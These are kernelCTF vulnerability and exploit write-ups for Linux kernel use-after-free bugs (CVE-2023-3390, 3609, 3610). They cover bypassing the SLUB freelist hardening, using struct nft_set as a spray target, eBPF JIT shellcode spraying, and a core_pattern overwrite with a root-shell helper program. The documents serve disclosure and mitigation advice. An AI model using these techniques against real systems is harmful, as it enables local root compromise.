Thus, if kernel config like CONFIG_DEBUG_LIST or CONFIG_SLAB_FREELIST_HARDENED (refer Abusing CONFIG_SLAB_FREELIST_HARDENED mitigation to aid exploitation) are used for mitigation purposes, it is necessary to enable with other canary-like kernel mitigations also.

• include/linux/bug.h:CHECK_DATA_CORRUPTION

#define CHECK_DATA_CORRUPTION(condition, fmt, ...)			 \
	check_data_corruption(({					 \
		bool corruption = unlikely(condition);			 \
		if (corruption) {					 \
			if (IS_ENABLED(CONFIG_BUG_ON_DATA_CORRUPTION)) { \
				pr_err(fmt, ##__VA_ARGS__);		 \
				BUG();					 \
			} else						 \
				WARN(1, fmt, ##__VA_ARGS__);		 \
		}							 \
		corruption;						 \
	}))

#endif	/* _LINUX_BUG_H */

For example, CONFIG_BUG_ON_DATA_CORRUPTION kernel config trigger kernel BUG to panic kernel on data corruption and prevent further exploit attempt.

• kernel/panic.c:check_panic_on_warn()

void check_panic_on_warn(const char *origin)
{
	unsigned int limit;

	if (panic_on_warn)
		panic("%s: panic_on_warn set ...\n", origin);

	limit = READ_ONCE(warn_limit);
	if (atomic_inc_return(&warn_count) >= limit && limit)
		panic("%s: system warned too often (kernel.warn_limit is %d)",
		      origin, limit);
}

Samely, panic_on_warn flag on the boot parameter makes the kernel panic when it faced a kernel WARNING.

These mitigations are considered seriously harmful to service availability since they always panic the kernel even with benign kernel bugs. However, adopting these mitigations should be positively considered if the target system has security-oriented purposes (ex. mitigation instance of kernelCTF). The usefulness of premature kernel halt to prevent security-relevant primitives is already mentioned by Google Project Zero's blogpost, "Exploiting null-dereferences in the Linux kernel".

Bypassing `CONFIG_SLAB_FREELIST_HARDENED` freelist pointer validation mitigation via unaligned head Copy Chapter

• mm/slub.c:freelist_ptr_decode()

slab_base = decoded ? slab_base : 0;
	if (CHECK_DATA_CORRUPTION(
			((unsigned long)decoded & slab->align_mask) != slab_base,
			"bad freeptr (encoded %lx, ptr %px, base %lx, mask %lx",
			ptr.v, decoded, slab_base, slab->align_mask))
		return NULL;
	return decoded;

From the freelist_ptr_decode function, we note that the above slab freelist pointer validation logic is enabled when CONFIG_SLAB_FREELIST_HARDENED is on.

This is a coarse-grained address alignment & range validation approach designed to prevent an attacker from poisoning the freelist to make the allocator return unaligned pointers. The coarseness of alignment validation is already a well known problem and thus not dealt with in this report - we instead focus on how this mitigation is ineffective against unaligned free.

Even with the mitigation in effect, an attacker can easily free and reclaim an unaligned chunk by keeping it in freelist head, i.e. free an unaligned chunk, and free nothing more into the same freelist until reclamation. In this case, the unaligned chunk is only set on freelist head (per-cpu freelist c->freelist) but the pointer itself is never written inside a free chunk as an encoded freelist pointer. Thus, it never passes through freelist_ptr_{encode,decode}() and the mitigation is never reached. Fundamentally, this is because the mitigation is designed to prevent the allocator from returning unaligned pointers through freelist corruption, but not through unaligned free.

We can verify this in code, in both free and allocation phase. Note how the mitigation is completely oblivious of the unaligned chunk. Only the relevant codes are shown, and others are omitted for brevity.

• mm/slub.c:do_slab_free()

static __always_inline void do_slab_free(struct kmem_cache *s,
				struct slab *slab, void *head, void *tail,
				int cnt, unsigned long addr)
{
	void *tail_obj = tail ? : head;							// [1] tail_obj = head = unaligned chunk to free
	struct kmem_cache_cpu *c;
// ...

	if (likely(slab == c->slab)) {
#ifndef CONFIG_PREEMPT_RT
		void **freelist = READ_ONCE(c->freelist);			// [2] freelist = current per-cpu freelist head

		set_freepointer(s, tail_obj, freelist);				// [3] set tail_obj next freepointer to freelist (via freelist_ptr_encode())

		if (unlikely(!this_cpu_cmpxchg_double(				// [4] set cpu_slab->freelist = unaligned chunk
				s->cpu_slab->freelist, s->cpu_slab->tid,
				freelist, tid,
				head, next_tid(tid)))) {

			note_cmpxchg_failure("slab_free", s, tid);
			goto redo;
		}
#else /* CONFIG_PREEMPT_RT */
// ...
#endif
		stat(s, FREE_FASTPATH);
	} else
		__slab_free(s, slab, head, tail_obj, cnt, addr);

}

• mm/slub.c:slab_alloc_node()

static __always_inline void *slab_alloc_node(struct kmem_cache *s, struct list_lru *lru,
		gfp_t gfpflags, int node, unsigned long addr, size_t orig_size)
{
	// ...
	object = c->freelist;														// [1] get object = per-cpu freelist head (unaligned chunk)
	slab = c->slab;

	// ...
	} else {
		void *next_object;
		freeptr_t next_encoded = get_freepointer_safe(s, object, slab);			// [2] next_encoded = encoded next freepointer inside `object`

		if (unlikely(READ_ONCE(c->tid) != tid))
			goto redo;

		next_object = freelist_ptr_decode(s, next_encoded,
				(unsigned long)kasan_reset_tag(object) + s->offset, slab);		// [3] decode next_encoded via freelist_ptr_decode()
																				//     `next_object` is properly aligned, so no problem

		// ...
		if (unlikely(!this_cpu_cmpxchg_double(									// [4] set per-cpu freelist head to `next_object`
				s->cpu_slab->freelist, s->cpu_slab->tid,
				object, tid,
				next_object, next_tid(tid)))) {

			note_cmpxchg_failure("slab_alloc", s, tid);
			goto redo;
		}
		prefetch_freepointer(s, next_object);
		stat(s, ALLOC_FASTPATH);
	}

	// ...
	return object;																// [5] return the unaligned chunk `object`, bypassing mitigation
}

In the exploit for lts-6.1.31, we pivot double free into unaligned free by overwriting next field struct msg_msg to an unaligned slub chunk address (kmalloc-cg-1k_chunk_addr - sizeof(struct msg_msg)), which is freed with the corresponding struct msg_msg by msgrcv syscall. This unaligned free gives full control over kmalloc-cg-1k chunks if we reclaim unaligned chunks with struct msg_msg(refer 6.5 KASLR leak for LTS 6.1.31 Instance section of exploit.md for more details). In mitigation-6.1, we additionally employ this bypass technique to enable unaligned free, allowing us to use the exact same exploitation steps as that of lts-6.1.31.

Abusing `CONFIG_SLAB_FREELIST_HARDENED` mitigation to aid exploitation Copy Chapter

Recall again:

• CHECK_DATA_CORRUPTION() is used to throw warnings on debug checks (CONFIG_DEBUG_LIST leading to expand vulnerability's capability)
• Freelist pointer is validated in freelist_ptr_decode() via CHECK_DATA_CORRUPTION() (Bypassing CONFIG_SLAB_FREELIST_HARDENED freelist pointer validation mitigation via unaligned head)

If the freelist pointer validation mitigation detects an invalid freelist pointer, it simply returns a NULL pointer from freelist_ptr_decode() with a kernel warning. This seemingly benign approach of returning a NULL pointer without panicking the kernel critically undermines the security benefits implicitly provided by CONFIG_SLAB_FREELIST_HARDENED as it allows attackers to simply ignore unintended freelist corruption without crashing the kernel.

In many cases, especially in the initial steps of exploitation, the attacker does not have enough infoleak (kernel heap address + slab random value) or precise control over encoded freelist pointer field for use-after-free or double free bugs. In such cases the victim freelist is permanently corrupted - the attacker must exert precise control over kernel heap allocations such that the corrupted chunk is never touched forever. This may prove difficult due to several reasons, with some inexhaustive list of examples:

1. Triggering the vulnerability may result in unavoidable allocation patterns that fetches the corrupted pointer from freelist. (exploit case)
2. Noise from other processes or inherent non-determinism of the kernel may interfere with the allocation pattern of the exploit. (failed exploit case)
3. Even after a successful exploitation the attacker must either fix up the freelist or use various other mechanisms to permanently freeze away the corrupted chunk from being allocated, or else face an unstable kernel that might crash in any time. (post-exploit case)

All the above causes the corrupted pointer to be fetched from freelist, where any immediately following memory operations upon it will trigger a general protection fault panicking the kernel.

When the mitigation is in effect, all the aformentioned cases do not panic the kernel as the mitigation returns NULL for the invalid pointer, simply ignoring the invalid pointer and resetting the freelist. The mitigation does mitigate attacker-controlled freelist corruption to some degree, but also regresses on uncontrolled freelist corruption by "mitigating" kernel panic which is the implicit but profound security benefits provided by CONFIG_SLAB_FREELIST_HARDENED - mitigation is aiding exploitation, not hindering it.

An attacker may use this to:

• Stabilize exploitation and enable allocation patterns that would have been impossible or difficult to achieve with corrupted freelist (exploit case)
  • ex: Re-enable using a slab which has its freelist corrupted
• Avoid crashing on failed exploitation attempts due to unexpected allocation patterns, allowing continuous exploit attempts until success (failed exploit case)
• Enjoy a stable kernel after exploitation as the corrupted freelist will automatically fix itself on allocation (post-exploit case)

For comparison, below is a kernel panic log in lts-6.1.31 without the freelist pointer validation mitigation in effect as an example. (Intentional) failure to handle the corrupted freelist after a succesful exploit leads to a general protection fault while spawning a new sh binary, panicking the kernel (i.e. post-exploit case).

[    9.209136] general protection fault, probably for non-canonical address 0x5bcc265b074e761f: 0000 [#1] PREEMPT SMP PTI
[    9.209913] CPU: 0 PID: 149 Comm: sh Tainted: G        W          6.1.31+ #1
[    9.210307] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    9.210772] RIP: 0010:__kmem_cache_alloc_node+0x2fd/0x450
// omitted
[    9.215387] Call Trace:
[    9.215560]  <TASK>
[    9.215724]  ? __die_body.cold+0x1a/0x1f
[    9.215999]  ? die_addr+0x38/0x60
[    9.216242]  ? exc_general_protection+0x1ae/0x450
[    9.216551]  ? __handle_mm_fault+0xb8a/0x10d0
[    9.216887]  ? asm_exc_general_protection+0x22/0x30
[    9.217217]  ? security_prepare_creds+0xd1/0xf0
[    9.217526]  ? __kmem_cache_alloc_node+0x2fd/0x450
[    9.217877]  ? __kmem_cache_alloc_node+0x38d/0x450
[    9.218188]  ? security_prepare_creds+0xd1/0xf0
[    9.218504]  ? security_prepare_creds+0xd1/0xf0
[    9.218794]  __kmalloc+0x45/0x150
[    9.219031]  security_prepare_creds+0xd1/0xf0
[    9.219315]  prepare_creds+0x197/0x2b0
[    9.219546]  prepare_exec_creds+0xb/0x50
[    9.219792]  bprm_execve+0x57/0x650
[    9.220061]  do_execveat_common.isra.0+0x1ad/0x220

Below is a kernel panic log in mitigation-6.1 with the mitigation in effect as an example. Due to an ... -> A -> B -> A pattern double free, freelist is now a circular linked list of A -> B -> A -> .... The exploit then allocates three msg_msg from the same slab:

1. First allocation returns A but corrupts encoded freelist pointer pointing to B
2. Second allocation returns B
3. Third allocation returns A again but mitigation detects corrupted freepointer
   • Only a kernel warning is emitted and freelist is reset back to NULL (empty)

Our exploit is free to continue on with the overlapping chunks, with an additional benefit that the corrupted freelist is reset to a safe state (i.e. exploit case).

[    5.384563] bad freeptr (encoded 0, ptr 6bab38c2708e598c, base fffffe8602dca000, mask ffffffffffffe1ff
[    5.384608] WARNING: CPU: 0 PID: 145 at mm/slub.c:660 __kmem_cache_alloc_node+0x3ee/0x420
[    5.385029] Modules linked in:
[    5.385195] CPU: 0 PID: 145 Comm: poc Tainted: G        W          6.1.0+ #1
[    5.385502] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    5.385713] RIP: 0010:__kmem_cache_alloc_node+0x3ee/0x420
// omitted
[    5.388000] Call Trace:
[    5.388072]  <TASK>
[    5.388151]  ? load_msg+0x35/0x1c0
[    5.388315]  ? load_msg+0x35/0x1c0
[    5.388416]  __kmalloc+0x45/0x150
[    5.388522]  load_msg+0x35/0x1c0
[    5.388621]  do_msgsnd+0x8e/0x590

This is not only true for our exploit, but also for other mitigation submission. exp47 uses CVE-2023-0461 to achieve use-after-free on tls_context. To pivot this into a use-after-free on fqdir, the exploit runs as follows:

1. Trigger the vulnerability to create two references to the same tls_context (src)
2. Free one of the tls_context references into kmalloc-512 by closing a socket (src)
3. Populate 4 chunks into kmalloc-512 (src)
4. Free the other tls_context reference by closing a socket, RCU-freed via kfree_rcu() (src)
5. Attempt to reclaim tls_context freed at Step #2 as fqdir via unshare(CLONE_NEWNET) (src)
6. RCU-free on dangling tls_context at Step #4, now pointing to reclaimed fqdir, is kfree()d after a grace period, successfully pivoting to fdqir UAF

Step #4 corrupts the encoded freelist pointer of freed tls_context chunk in kmalloc-512 cache (freed at Step #2) since tls_ctx_free() calls memzero_explicit() on the encoded freelist pointer offset, zeroing it out. In Step #3 4 chunks are populated into kmalloc-512 freelist which is reclaimed at Step #5. This is followed by 1 fqdir allocation which reclaims tls_context but fetches the corrupted pointer into freelist head. However, 2 more fqdir allocations are to be served, not to mention that these allocations are done once more as N_SPRAY_1 is defined as 2 (src).

Without the mitigation, the additional allocations would have resulted in a kernel panic due to general protection fault while trying to fetch the corrupted freelist pointer as a free chunk. However, the mitigation silently "mitigates" this and resets kmalloc-512 freelist to NULL with just a kernel warning log, which allows subsequent kmalloc-512 allocations to succeed normally (i.e. yet another exploit case). This can also be verified by exploitation video uploaded on Twitter.

To the best of our knowledge, this is the first publication posing the regression issue of freelist pointer validation mitigation implemented in kCTF/kernelCTF mitigation instances. As also mentioned in CONFIG_DEBUG_LIST leading to expand vulnerability's capability section, we strongly suggest enabling canary-like flags (panic_on_warn, CONFIG_BUG_ON_DATA_CORRUPTION) whenever debug options are enabled, or at least for mitigation instances.

Usage of `struct nft_set` as a novel target object Copy Chapter

While writing exploits for CVE-2023-3390, especially when targeting cos-105-17412.101.17 instance, we found that struct nft_set is an extremely useful object for the kernel exploit, no matter if it is the vulnerable object of the vulnerability. We actively utilized the struct nft_set object after we get stable double free, even though double free gives us the capability to overlap arbitrary types of objects, not only struct nft_set.

Generally, we have three reasons to use struct nft_set for a target object.
First, the struct nft_set contains useful fields in itself for exploit.

• include/net/netfilter/nf_tables.h:struct nft_set

struct nft_set {
	struct list_head		list;
	struct list_head		bindings;
	struct nft_table		*table;
	possible_net_t			net;
	char				*name;
	u64				handle;
	u32				ktype;
	u32				dtype;
	u32				objtype;
	u32				size;
	u8				field_len[NFT_REG32_COUNT];
	u8				field_count;
	u32				use;
	atomic_t			nelems;
	u32				ndeact;
	u64				timeout;
	u32				gc_int;
	u16				policy;
	u16				udlen;
	unsigned char			*udata;
	struct list_head		pending_update;
	/* runtime data below here */
	const struct nft_set_ops	*ops ____cacheline_aligned;
	u16				flags:14,
					genmask:2;
	u8				klen;
	u8				dlen;
	u8				num_exprs;
	struct nft_expr			*exprs[NFT_SET_EXPR_MAX];
	struct list_head		catchall_list;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

Above is the struct layout of the struct nft_set object. We can identify many useful fields that exist in struct nft_set. List entries like list, bindings, pending_updates, and catchall_list contain current or adjacent struct nft_set object's slab chunk addresses. ops fields point to vtables of struct nft_set's type, which can be used for KASLR bypass when its value is leaked and get RIP control when it is overwritten. Thus, read/write toward the struct nft_set objects (through slab OOB or UAF) almost guarantees the existence of a working exploit strategy.

Second, the size of struct nft_set is controllable. Controllable object size is a powerful characteristic because it makes the object placed into desired slab caches. Below is the routine of struct nft_set's allocation and initialization.

• net/netfilter/nf_tables_api.c:nf_tables_newset()

// ...
	udlen = 0;
	if (nla[NFTA_SET_USERDATA])
		udlen = nla_len(nla[NFTA_SET_USERDATA]);

	size = 0;
	if (ops->privsize != NULL)
		size = ops->privsize(nla, &desc);
	alloc_size = sizeof(*set) + size + udlen;
	if (alloc_size < size || alloc_size > INT_MAX)
		return -ENOMEM;
	set = kvzalloc(alloc_size, GFP_KERNEL_ACCOUNT);
// ...

As the above code path shows, the chunk size of struct nft_set is determined by the sum of three size components: the sizeof(struct nft_set), type-specific private size, and user-supplied data length. the sizeof(struct nft_set) is fixed (around 256 bytes), and the private size is controlled by types of struct nft_set and NFTA_SET_KEY_LEN, which is determined by set flags and parameters of NFT_MSG_NEWSET requests and current system environments.

• net/netfilter/nf_tables_api.c:nft_set_types

static const struct nft_set_type *nft_set_types[] = {
	&nft_set_hash_fast_type,
	&nft_set_hash_type,
	&nft_set_rhash_type,
	&nft_set_bitmap_type,
	&nft_set_rbtree_type,
#if defined(CONFIG_X86_64) && !defined(CONFIG_UML)
	&nft_set_pipapo_avx2_type,
#endif
	&nft_set_pipapo_type,
};

• include/uapi/linux/netfilter/nf_tables.h:nft_set_flags

enum nft_set_flags {
	NFT_SET_ANONYMOUS		= 0x1,
	NFT_SET_CONSTANT		= 0x2,
	NFT_SET_INTERVAL		= 0x4,
	NFT_SET_MAP				= 0x8,
	NFT_SET_TIMEOUT			= 0x10,
	NFT_SET_EVAL			= 0x20,
	NFT_SET_OBJECT			= 0x40,
	NFT_SET_CONCAT			= 0x80,
	NFT_SET_EXPR			= 0x100,
};

The user-supplied data is freely passed with arbitrary length through NFTA_SET_USERDATA unless it does not exceed the max packet length limit.
We experimentally proved that we can get the allocation size of struct nft_set from around 512 bytes to over 0x40000 bytes (vmalloc region) with these components, although we practically used it for (dyn-)kmalloc-cg-512 slab and kmalloc-1k slab only by controlled user-supplied data.

Finally, struct nft_set is almost freely sprayable and can be utilized for both kmalloc and kmalloc-cg slab caches, depending on which kernel version exploits targets since the Netfilter nf_tables objects were moved from normal kmalloc cache to kmalloc-cg caches after v5.19 with commit 33758c891479ea1c736abfee64b5225925875557.

To sum up, with the characteristic of struct nft_set listed above, it can be a novel object for kernel exploits generally. It has valuable fields for various info leaks, and their size can be adjusted in various ways. There were numerous kernel vulnerabilities and exploits, whether netfilter or non-netfilter vulnerabilities. However, to the best of our knowledge, this is the first exploit that employs struct nft_set as target objects for a kernel slab leak, KASLR leak, and PC control.

Pocs Linux Kernelctf CVE 2023 3390 Lts Cos Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3390_lts_cos_mitigation/docs/vulnerability.md`) Copy Section

Vulnerability

A use-after-free vulnerability was found in the Linux kernel's Netfilter nf_tables subsystem (net/netfilter/nf_tables_api.c). Mishandled error handling with NFT_MSG_NEWRULE makes it possible to use a dangling pointer in the same transaction, causing a use-after-free vulnerability. This flaw leads to local privilege escalation (LPE).

Requirements to trigger the vulnerability: Copy Chapter

• Capabilities: To trigger the vulnerability, CAP_NET_ADMIN capability is required to access the Netfilter system.
• Kernel configuration: Kernel configs related to the Netfilter nf_tables system (e.g., CONFIG_NETFILTER, CONFIG_NF_TABLES) are required to trigger this vulnerability. This config is generally enabled by default (ex. x86_64_defconfig).
• Are user namespaces needed?: Yes. As this vulnerability requires CAP_NET_ADMIN, which is not usually given to the normal user, we used the unprivileged user namespace to achieve this capability.

Commit which introduced the vulnerability Copy Chapter

• This vulnerability was introduced in Linux v3.1-rc1, with commit 958bee14d0718ca7a5002c0f48a099d1d345812a
• This commit introduced a new functionality that uses a transaction infrastructure to handle the nf_tables set struct.

Commit which fixed the vulnerability Copy Chapter

• This vulnerability was fixed in Linux v6.4-rc1, with commit 1240eb93f0616b21c675416516ff3d74798fdc97
• This commit fixes mishandled error path in NFT_MSG_NEWRULE, which incorrectly deactivates the anonymous set and causes a dangling pointer of the anonymous set in the same transaction context.

Affected kernel versions Copy Chapter

• Linux version v.3.1-rc1 ~ v6.4-rc1 affects to this vulnerability
• For LTS versions, lower versions of the versions below are affected by this vulnerability
  • ~ v6.1.35
  • ~ v5.15.118

Affected component, subsystem Copy Chapter

• net/netfilter (nf_tables)

Cause (UAF, BoF, race condition, double free, refcount overflow, etc) Copy Chapter

• Use-after-free

Which syscalls or syscall parameters are needed to be blocked to prevent triggering the vulnerability? (If there is any easy way to block it.) Copy Chapter

• Disable syscalls for Netfilter (specifically, Netfilter nf_tables) system (ex. socket, sendmsg with Netlink socket) to prevent this vulnerability.
• Disable syscalls for unprivileged user namespace (ex. clone, unshare) can reduce the attack surface since the Netfilter system requires CAP_NET_ADMIN to use.

Pocs Linux Kernelctf CVE 2023 3609 Cos Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3609_cos_mitigation/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

Using this vulnerability, we can set reference counter of qdisc class to 0, and then free qdisc class (by deleting the class) while it still attached to the active filter.
When packet sent to the network, it will enqueue to the network scheduler. If the packet match to our filter, then it will return our freed qdisc class.
Qdisc class object contain qdisc object which used to enqueue packets to the respective network interface via function pointer.

Snippet code if we use drr_class as target object as target object.

static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	int err = 0;
	bool first;

	cl = drr_classify(skb, sch, &err); // [1]
	...
	err = qdisc_enqueue(skb, cl->qdisc, to_free);
	...
	return err;
}

static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
				struct sk_buff **to_free)
{
	qdisc_calculate_pkt_len(skb, sch);
	return sch->enqueue(skb, sch, to_free); // [2]
}

In [1], drr_classify will return freed drr_class, then this freed object is used to get the qdisc object via cl->qdisc and passed to qdisc_enqueue function. If we can control cl->qdisc->enqueue we can get RIP control at [2].

Target objects Copy Section

Our target objects is struct drr_class that resides inside kmalloc-128.

Spray objects Copy Section

For LTS/COS instance

Since there is no CONFIG_KMALLOC_SPLIT_VARSIZE, we can reallocated struct drr_class with ctl_buf. We use sendmsg to spray ctl_buf with controlled data in line [3].

static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
			   unsigned int flags, struct used_address *used_address,
			   unsigned int allowed_msghdr_flags)
...
		BUILD_BUG_ON(sizeof(struct cmsghdr) !=
			     CMSG_ALIGN(sizeof(struct cmsghdr)));
		if (ctl_len > sizeof(ctl)) {
			ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
			if (ctl_buf == NULL)
				goto out;
		}
		err = -EFAULT;
		if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)) //[3]
			goto out_freectl;

For Mitigation instance

Because CONFIG_KMALLOC_SPLIT_VARSIZE is enable, we need to find a struct we can spray in kmalloc-128 fixed cache. We found out struct ctnetlink_filter is in the right cache. We can spray it and put payload.

static struct ctnetlink_filter *
ctnetlink_alloc_filter(const struct nlattr * const cda[], u8 family)
{
	struct ctnetlink_filter *filter;
	int err;
...

	filter = kzalloc(sizeof(*filter), GFP_KERNEL);
...
	err = ctnetlink_parse_zone(cda[CTA_ZONE], &filter->zone);
	if (err < 0)
		goto err_filter;

	err = ctnetlink_parse_filter(cda[CTA_FILTER], filter);
	if (err < 0)

KASLR Bypass Copy Section

Spray eBPF programs

Our goal is to do some eBPF JIT spraying so later when we control kernel RIP, it will jump to the JIT page and execute our shellcode.

Linux kernel provide a socket option SO_ATTACH_FILTER and let user to attach a classic BPF program to the socket for use as a filter of incoming packets.

By creating lots of sockets and attach to classic BPF program, we can spray a lot of eBPF programs in kernel.

struct sock_fprog prog = {
        .len =  TSIZE,
        .filter = filter,
    };
    for(int i=0;i<NUM;i++){
        int fd[2];
        SYSCHK(socketpair(AF_UNIX,SOCK_DGRAM,0,fd));
        SYSCHK(setsockopt(fd[0],SOL_SOCKET,26,&prog,sizeof(prog)));
    }

As for the shellcode in our eBPF program, our goal is to overwrite /proc/sys/kernel/core_pattern so later we can execute command as root by triggering crash. Here's what our shellcode did to achieve our goal:

• Use the rdmsr instruction to obtain the kernel text address. With RCX being set to MSR_LSTAR ( 0xc0000082 ), we'll be able to obtain the address of entry_SYSCALL_64.
• Calculate the address of core_pattern and _copy_from_user.
• Call _copy_from_user(core_pattern, user_buf, 0x30);, where user_buf is a buffer in user space that stores the content we want to overwrite in core_pattern.

We construct our eBPF program with the following form:

struct sock_filter table[] = {
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        .....................
};

The above example will be compiled into the following instructions after JIT:

b8 90 90 90 b3    mov eax, 0xb3909090
b8 90 90 90 b3    mov eax, 0xb3909090

If we can control kernel RIP to jump into the NOP instruction ( 0x90 ), the code will become:

90       nop 
b3 b8    mov    bl, 0xb8
90       nop
90       nop
90       nop
b3 b8    mov    bl, 0xb8
....

We can see that by using an extra byte 0xb3, we can skip the useless byte 0xb8 and execute our own shellcode. Notice that due to the "skipping part", we only have 3 bytes of space in each instruction, so we'll have to take care of that as well during our shellcode construction.

Put payload in fixed kernel address (CVE-2023-0597)

Linux kernel maps cpu_entry_area into a fixed kernel address in x86 and that region is also used as exception stack. We can put our payload in the registers and trigger exception from user space. The exception handler will push our registers in the exception stack, allowing us to control data in fixed kernel address.

Catch the signals and skip the offending instruction.

signal(SIGFPE, handle);
    signal(SIGTRAP, handle);
    signal(SIGSEGV, handle);
    setsid();
    foo(payload);

Put our payload on registers in specific order

foo:
	mov rsp,rdi
	pop r15
	pop r14
	pop r13
	pop r12
	pop rbp
	pop rbx
	pop r11
	pop r10
	pop r9
	pop r8
	pop rax
	pop rcx
	pop rdx
	pop rsi
	pop rdi
	div qword [0x1234000] ; trigger div 0 exception

As a result, we can control about 0x80 bytes in fixed kernel address.

RIP Control Copy Section

We set cl->qdisc to fixed kernel address that contain our controlled value, and then set enqueue function pointer to guessed ebpf JIT address.

Post RIP Copy Section

Once we control the kernel RIP and jump into the middle of our eBPF program, the shellcode we crafted will cause core_pattern being overwritten to |/proc/%P/fd/666:

We then use memfd and write an executable file payload in fd 666.

int check_core()
{
    // Check if /proc/sys/kernel/core_pattern has been overwritten
    char buf[0x100] = {};
    int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    read(core, buf, sizeof(buf));
    close(core);
    return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
    int memfd = memfd_create("", 0);
    SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff));
    dup2(memfd, 666);
    close(memfd);
    while (check_core() == 0)
        sleep(1);
    *(size_t *)0 = 0;
}

Later when coredump happened, it will execute our executable file as root in root namespace:

*(size_t*)0=0; //trigger coredump

Executable file root is used to spawn shell when coredump happened. This is the code looks like:

void* job(void* x){
	FILE* fp = popen("pidof billy","r");
	fread(buf,1,0x100,fp);
	fclose(fp);
	int pid = strtoull(buf,0,10);
	int pfd = syscall(SYS_pidfd_open,pid,0);
	int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
	int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
	int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
	dup2(stdinfd,0);
	dup2(stdoutfd,1);
	dup2(stderrfd,2);
	execlp("bash","bash",NULL);

}
int main(int argc,char** argv){	
	job(0);
}

Pocs Linux Kernelctf CVE 2023 3609 Cos Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3609_cos_mitigation/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilites: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NET_SCHED=y, CONFIG_NET_CLS_U32=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=705c7091262d
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=04c55383fa5689357bcdd2c8036725a55ed632bc
• Affected Version: v4.14-rc1 - v6.5-rc7
• Affected Component: net/sched
• Cause: Use-After-Free
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3609
• Description: Vulnerability exists in the function u32_set_parms. This function is located in net/sched/cls_u32.c which contains source code for u32 classifier. u32_set_parms will be called when user need to setup a traffic control filter. Vulnerability happens when this function returns an error after increasing or decrasing reference counter via tcf_bind_filter().

Pocs Linux Kernelctf CVE 2023 3610 Cos Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3610_cos/docs/exploit.md`) Copy Section

Triggering the use-after-free and reallocation Copy Chapter

To trigger the vulnerability we have to create a batch transaction.
The chain object will be freed immediately when rule creation fails, but processing of the transaction will continue, allowing us to reallocate the victim object from kmalloc-128.

A good option is to use a table user data attribute - we can choose an arbitrary size for the allocation and the whole buffer will be filled with our data.

Steps of the batch transaction:

1. Create the victim chain "v" with NFT_BINDING_FLAG.
2. Create a rule with a jump to "v" and an invalid expression to trigger removal of the chain.
3. Create a new table with user data containing a fake nft_chain object.

Getting RIP control. Copy Chapter

Following code is executed when nftables try to rollback the creation of the victim chain:

case NFT_MSG_NEWCHAIN:
                        if (nft_trans_chain_update(trans)) {
                                free_percpu(nft_trans_chain_stats(trans));
                                kfree(nft_trans_chain_name(trans));
                                nft_trans_destroy(trans);
                        } else {
                                if (nft_trans_chain_bound(trans)) {
                                        nft_trans_destroy(trans);
                                        break;
                                }
                                nft_use_dec_restore(&trans->ctx.table->use);
                                nft_chain_del(trans->ctx.chain);
                                nf_tables_unregister_hook(trans->ctx.net,
                                                          trans->ctx.table,
                                                          trans->ctx.chain);

The last call is interesting:

static void __nf_tables_unregister_hook(struct net *net,
                                        const struct nft_table *table,
                                        struct nft_chain *chain,
                                        bool release_netdev)
{
        struct nft_base_chain *basechain;
        const struct nf_hook_ops *ops;

        if (table->flags & NFT_TABLE_F_DORMANT ||
            !nft_is_base_chain(chain))                          [1]
                return;
        basechain = nft_base_chain(chain);
        ops = &basechain->ops;

        if (basechain->type->ops_unregister) // [2]
                return basechain->type->ops_unregister(net, ops);

...
}

static void nf_tables_unregister_hook(struct net *net,
                                      const struct nft_table *table,
                                      struct nft_chain *chain)
{
        return __nf_tables_unregister_hook(net, table, chain, false);
}
``

If we pass the checks for the basechain at [1], we will get RIP control through the ops_unregister function pointer in the nft_chain_type object at [2].

There's only one problem. nft_base_chain is a larger structure containing nft_chain:

struct nft_base_chain {
struct nf_hook_ops ops; /* 0 0x28 */

/* XXX last struct has 4 bytes of padding */

    struct list_head           hook_list;            /*  0x28  0x10 */
    const struct nft_chain_type  * type;             /*  0x38   0x8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    u8                         policy;               /*  0x40   0x1 */
    u8                         flags;                /*  0x41   0x1 */

    /* XXX 6 bytes hole, try to pack */

    struct nft_stats *         stats;                /*  0x48   0x8 */
    struct nft_chain           chain;                /*  0x50  0x78 */
    /* --- cacheline 3 boundary (192 bytes) was 8 bytes ago --- */
    struct flow_block          flow_block;           /*  0xc8  0x10 */

    /* size: 216, cachelines: 4, members: 8 */

};

The type pointer is located before the nft_chain object we control.
The solution to this is to prepare a slab with fake base_chain objects preceding the victim chain in memory.
Due to freelist randomization we can not predict where in the slab our chain will be located, but we can just allocate all objects except one and then run the batch transaction so that the victim chain is the one making the slab full.
We also need to allocate a full slab of fake base chains before that, just in case our victim will be at the very beginning of the slab.

